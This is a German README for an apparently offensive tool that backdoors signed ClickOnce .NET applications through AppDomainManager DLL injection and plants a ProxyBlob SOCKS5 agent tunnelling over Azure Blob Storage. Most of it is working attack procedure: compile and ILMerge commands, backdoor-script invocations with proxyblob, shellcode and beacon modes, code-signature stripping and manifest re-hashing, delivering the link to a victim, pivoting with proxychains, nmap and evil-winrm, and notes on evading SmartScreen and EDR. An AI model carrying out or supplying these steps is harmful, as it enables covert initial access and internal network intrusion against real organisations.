
Bewaffnen Sie signierte .NET ClickOnce-Anwendungen für den initialen Zugriff, indem Sie eine abhängige DLL per AppDomainManager-Injection kapern und einen C#-Port des ProxyBlob-Agenten laden.

Waffnen Sie signierte .NET ClickOnce-Anwendungen für den Erstzugriff, indem Sie eine Abhängigkeits-DLL per AppDomainManager-Injection kapern und einen C#-Port des ProxyBlob-Agenten laden. Enthält einen C#-Port von ProxyBlob – einen SOCKS5-Proxy, der den gesamten Verkehr durch Azure Blob Storage tunnelt und sich in Umgebungen einfügt, in denen *.blob.core.windows.net auf der Whitelist steht.
ClickOnce ist Microsofts Ein-Klick-Bereitstellungstechnologie für .NET-Apps. Wenn ein Benutzer auf eine .application-URL klickt, lädt Windows die App herunter und führt sie aus, ohne dass Administratorrechte erforderlich sind. Der Angriff:
.exe.config, die der CLR sagt, unsere DLL als AppDomainManager zu ladenDie Host-.exe bleibt unberührt und gültig signiert. SmartScreen sieht eine bekannte Binärdatei. EDR sieht einen vertrauenswürdigen Prozess, der Module lädt. Ihr Agent kommuniziert nur mit Azure Blob Storage über HTTPS.
├── clickonce_backdoor.py # Main script for backdooring ProxyBlob Agent DLL to ClickOnce App
├── examples/
│ ├── ProxyBlobAgent.cs # ProxyBlob Agent ClickOnce DLL payload (AppDomainManager)
│ ├── ProxyBlobStandalone.cs # Standalone Proxyblob console agent (for testing)
│ ├── ShellcodeLoader.cs # Alternative: shellcode loader payload
│ └── MessageBoxPoC.cs # PoC: message box (validates injection works)
└── README.md
Angreifer (Linux/macOS):
Build-Maschine (Windows):
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe (automatisch erkannt)nuget.exe neben das Skript oder fügen Sie es zum PATH hinzu (nur für --proxyblob-Modus erforderlich)Das Skript erkennt csc.exe und nuget.exe automatisch. Für --proxyblob werden BouncyCastle und ILMerge beim ersten Durchlauf automatisch über NuGet in ein packages/-Verzeichnis neben dem Skript installiert (bleibt über Durchläufe hinweg erhalten).
Der Agent-Code ist architekturneutral (kein P/Invoke, kein Shellcode). Das --platform-Flag (an csc.exe /platform: übergeben) steuert, wie die CLR es lädt:
Überprüfen Sie eine Ziel-App mit corflags.exe TargetApp.exe, um ihre Plattform zu ermitteln.
# Create storage account
az storage account create \
--name yourblobaccount \
--resource-group yourgroup \
--sku Premium_LRS \
--kind BlockBlobStorage
# Get keys
az storage account keys list --account-name yourblobaccount --output table
Oder verwenden Sie Azurite lokal:
docker run -p 10000:10000 mcr.microsoft.com/azure-storage/azurite
git clone https://github.com/quarkslab/proxyblob && cd proxyblob && make
cat > config.json << 'EOF'
{
"storage_account_name": "yourblobaccount",
"storage_account_key": "YOUR_KEY_HERE"
}
EOF
./proxy -c config.json
In der Proxy-Shell:
proxyblob » create
[+] Created container: d646856a-5ae9-4328-bcfc-d85e762aa345
[+] Connection string: aHR0cHM6Ly95b3VyYmxvYmFjY291bnQuYmxvYi5jb3JlLndpbmRvd3MubmV0Ly4uLg==

Speichern Sie diese Verbindungszeichenfolge – sie kommt in den Agenten.
Überprüfen Sie immer, ob der Agent unabhängig funktioniert, bevor Sie ihn in ClickOnce integrieren.
Auf der Windows-Build-Maschine:
# Compile
csc.exe /platform:anycpu /out:ProxyBlobStandalone.exe ^
examples\ProxyBlobStandalone.cs ^
/r:packages\BouncyCastle.Cryptography.2.5.1\lib\netstandard2.0\BouncyCastle.Cryptography.dll ^
/r:System.Net.Http.dll /r:netstandard.dll
# ILMerge into single exe (so BouncyCastle is embedded)
packages\ILMerge.3.0.41\tools\net452\ILMerge.exe ^
/out:Agent.exe ^
ProxyBlobStandalone.exe ^
packages\BouncyCastle.Cryptography.2.5.1\lib\netstandard2.0\BouncyCastle.Cryptography.dll ^
/targetplatform:v4
# Run
Agent.exe <connection-string>
Zurück auf dem Proxy:
proxyblob » list
d646856a │ username@DESKTOP │ active
proxyblob » select d646856a
proxyblob » start
[+] SOCKS5 proxy listening on 127.0.0.1:1080
Test:
proxychains curl http://ipconfig.io
Wenn das funktioniert, fahren Sie mit der ClickOnce-Integration fort.
Finden Sie während der Aufklärung eine Ziel-ClickOnce-App (suchen Sie nach .application-URLs). Sie benötigen:
Laden Sie die gesamte ClickOnce-Bereitstellung herunter:
# https://github.com/api0cradle/RedTeamScripts/blob/main/application_downloader.py
python3 application_downloader.py -u https://target-site.com/APPLICATION.application

Das Skript kompiliert den C#-Quellcode automatisch, verwaltet NuGet-Abhängigkeiten (für --proxyblob), führt ILMerge für BouncyCastle in die DLL durch und patcht alle Manifeste – alles in einem Durchlauf:

# ProxyBlob mode — auto-compiles, auto-installs NuGet packages, auto-merges
python clickonce_backdoor.py \
--input ./APPLICATION.application \
--url http://YOUR-SERVER \
--proxyblob "aHR0cHM6Ly95b3VyYmxvYmFjY291bnQ..." \
--output ./output
# PoC mode — quick validation that injection works
python clickonce_backdoor.py \
--input ./APPLICATION.application \
--url http://YOUR-SERVER \
--poc --output ./output
# Shellcode mode
python clickonce_backdoor.py \
--input ./APPLICATION.application \
--url http://YOUR-SERVER \
--shellcode beacon.bin --output ./output
# x64 target app
python clickonce_backdoor.py \
--input ./APPLICATION.application \
--url http://YOUR-SERVER/ \
--proxyblob "aHR0cHM6Ly95b3VyYmxvYmFjY291bnQ..." \
--platform x64 --output ./output

Das Skript erledigt: Generieren des C#-Quellcodes mit Ihren Einstellungen, Kompilieren über csc.exe, ILMerge von BouncyCastle (für --proxyblob), Ersetzen der DLL, Erstellen von .exe.config mit AppDomainManager-Injection, Hinzufügen beider Dateien zu Manifesten, Neuberechnen aller SHA256-Hashes und Dateigrößen, Entfernen von Codesignaturen, Nullsetzen des Vendor-publicKeyTokens und Aktualisieren der Deployment-Provider-URL.
Manuelle Überschreibung: Sie können weiterhin --payload verwenden, um eine vorcompilierte DLL bereitzustellen (überspringt die Kompilierung):
python clickonce_backdoor.py \
--input ./APPLICATION.application \
--url http://YOUR-SERVER \
--payload payload.dll \
--output ./output
⚠️ ILMerge-Assemblynamen-Falle: ILMerge setzt den internen Assemblynamen aus dem Ausgabedateinamen, nicht aus der Eingabe. Wenn Sie zu
Foo_merged.dllmergen und die Datei dann inFoo.dllumbenennen, ist der interne Name immer nochFoo_merged– die CLR liest Metadaten, nicht den Dateinamen. Die.exe.configpasst nicht, und die AppDomainManager-Injection schlägt stillschweigend ohne Fehler fehl. Das Skript behandelt dies korrekt, indem es direkt zum endgültigen Namen merged.
# Built-in server with correct MIME types and cache headers
python3 clickonce_backdoor.py serve --port 8000 --dir ./output

Oder verwenden Sie einen beliebigen Webserver mit diesen konfigurierten MIME-Typen:
.application → application/x-ms-application
.manifest → application/x-ms-manifest
.deploy → application/octet-stream
Senden Sie dem Opfer: http://YOUR-SERVER/APPLICATION.application
Sie klicken auf Installieren → die App läuft → Ihr SOCKS5-Tunnel öffnet sich.

# On the proxy machine
proxyblob » list
proxyblob » select <container-id>
proxyblob » start
# SOCKS5 on 127.0.0.1:1080
proxychains nmap -sT -Pn 10.0.0.0/24
proxychains evil-winrm -i 10.0.0.50 -u admin -p password
proxychains curl http://internal-app.corp.local



Zwischen Testbereitstellungen leeren:
rundll32 dfshim CleanOnlineAppCache
Verwenden Sie zu Debugging-Zwecken zuerst ProxyBlobStandalone.cs – es schreibt detaillierte Logs nach stderr, die Pakettypen, Verbindungsereignisse und Fehler anzeigen. Sobald die Funktionsfähigkeit bestätigt ist, wechseln Sie zu ProxyBlobAgent.cs für die ClickOnce-Integration.
Der Agent ist ein originalgetreuer Port des Go ProxyBlob-Agenten. Drei kritische Fehler wurden während des Ports gefunden und behoben:
1. UUID-Byte-Reihenfolge — Go's uuid.UUID speichert 16 Bytes in RFC 4122 (Big-Endian)-Reihenfolge. Der .NET-Guid-Konstruktor tauscht die ersten 3 Komponenten in Little-Endian um, was zu ConnectionID-Inkonsistenzen auf der Leitung führt. Behoben durch Verwendung von rohen byte[16]-Arrays.
2. XChaCha20-Poly1305 — Go verwendet chacha20poly1305.NewX() = XChaCha20 mit 24-Byte-Nonce. BouncyCastles ChaCha20Poly1305 unterstützt nur 12-Byte-IETF-Nonces. Behoben durch Implementierung der HChaCha20-Subkey-Ableitung:
subkey = HChaCha20(key, nonce[0:16]) // ChaCha20 quarter-rounds on key+nonce
ietf_nonce = 0x00000000 || nonce[16:24] // Remaining 8 bytes become IETF nonce
ciphertext = ChaCha20Poly1305(subkey, ietf_nonce, plaintext)
3. Base64-Padding — Go verwendet base64.RawStdEncoding (keine =-Auffüllung). .NET benötigt Padding. Behoben durch automatisches Auffüllen vor dem Decodieren.
Packet: [Command:1B][ConnectionID:16B][DataLength:4B BE][Payload:var]
Commands: NEW(0x01) ACK(0x02) DATA(0x03) CLOSE(0x04)
Key Exchange:
Proxy → Agent: CmdNew [nonce:24][pubkey:32]
Agent → Proxy: CmdAck [agentPubkey:32]
Symmetric key: HKDF-SHA3-256(X25519(privA, pubB), salt=nonce, info=nil)
Encryption: XChaCha20-Poly1305 on all CmdData payloads
Blob Transport:
info — username@hostname XOR 0xDEADB10B
request — proxy→agent (agent polls, reads, clears)
response — agent→proxy (agent writes, proxy reads, clears)
Polling: exponential backoff 50ms → 3s (×1.5)
*.blob.core.windows.net – mischt sich mit legitimem Azure-Verkehr.exe bleibt gültig signiert – nur die Abhängigkeits-DLL und die .config werden modifiziertAPPLICATION)Dieses Tool ist nur für autorisierte Sicherheitstests und Forschung bestimmt. Verwenden Sie es nur gegen Systeme, für die Sie eine ausdrückliche schriftliche Erlaubnis zum Testen haben.
--platform | Läuft auf x86 Windows | Läuft auf x64 Windows | Wann verwenden |
|---|
x86 (default) | 32-bit | 32-bit (WoW64) | Ziel-App ist x86 |
x64 | ✗ | 64-bit | Ziel-App ist x64 |
anycpu | 32-bit | 64-bit | Standalone-Tests oder Ziel ist AnyCPU |
| Fehler | Behebung |
|---|
csc.exe not found | .NET Framework 4.x installieren oder csc.exe zum PATH hinzufügen |
nuget.exe not found | Von nuget.org herunterladen, neben das Skript legen oder zum PATH hinzufügen |
CS0012: type 'Object' ... netstandard | /r:netstandard.dll zum csc-Befehl hinzufügen |
Metadata file ... net461 ... not found | Den BouncyCastle-Pfad netstandard2.0 verwenden |
| Symptom | Ursache | Behebung |
|---|
FileNotFoundException: BouncyCastle.Cryptography | DLL nicht eingebettet | ILMerge verwenden, um eine einzelne DLL zu erstellen |
| AppDomainManager wird nach ClickOnce-Ausführung nicht geladen | Interner Assemblyname stimmt nicht überein | Assemblyname muss mit .exe.config übereinstimmen. Überprüfen mit ildasm /text Dll.dll | findstr ".assembly" |
| Agent beendet sich mit Code 3 | Verbindungszeichenfolge ungültig oder abgelaufen | Mit create im Proxy neu generieren |
| ClickOnce-Installation schlägt stillschweigend fehl | Manifest-Hash stimmt nicht überein | Automatisierungsskript erneut ausführen oder SHA256-Hashes manuell neu berechnen |
RefDefValidation-Fehler während der Installation | Strong-Name-Token einer Drittanbieter-DLL auf null gesetzt | Das Skript setzt nur das Vendor-Token auf null. Bei Bedarf --dll-name verwenden, um den Namen der Nutzlast-DLL festzulegen |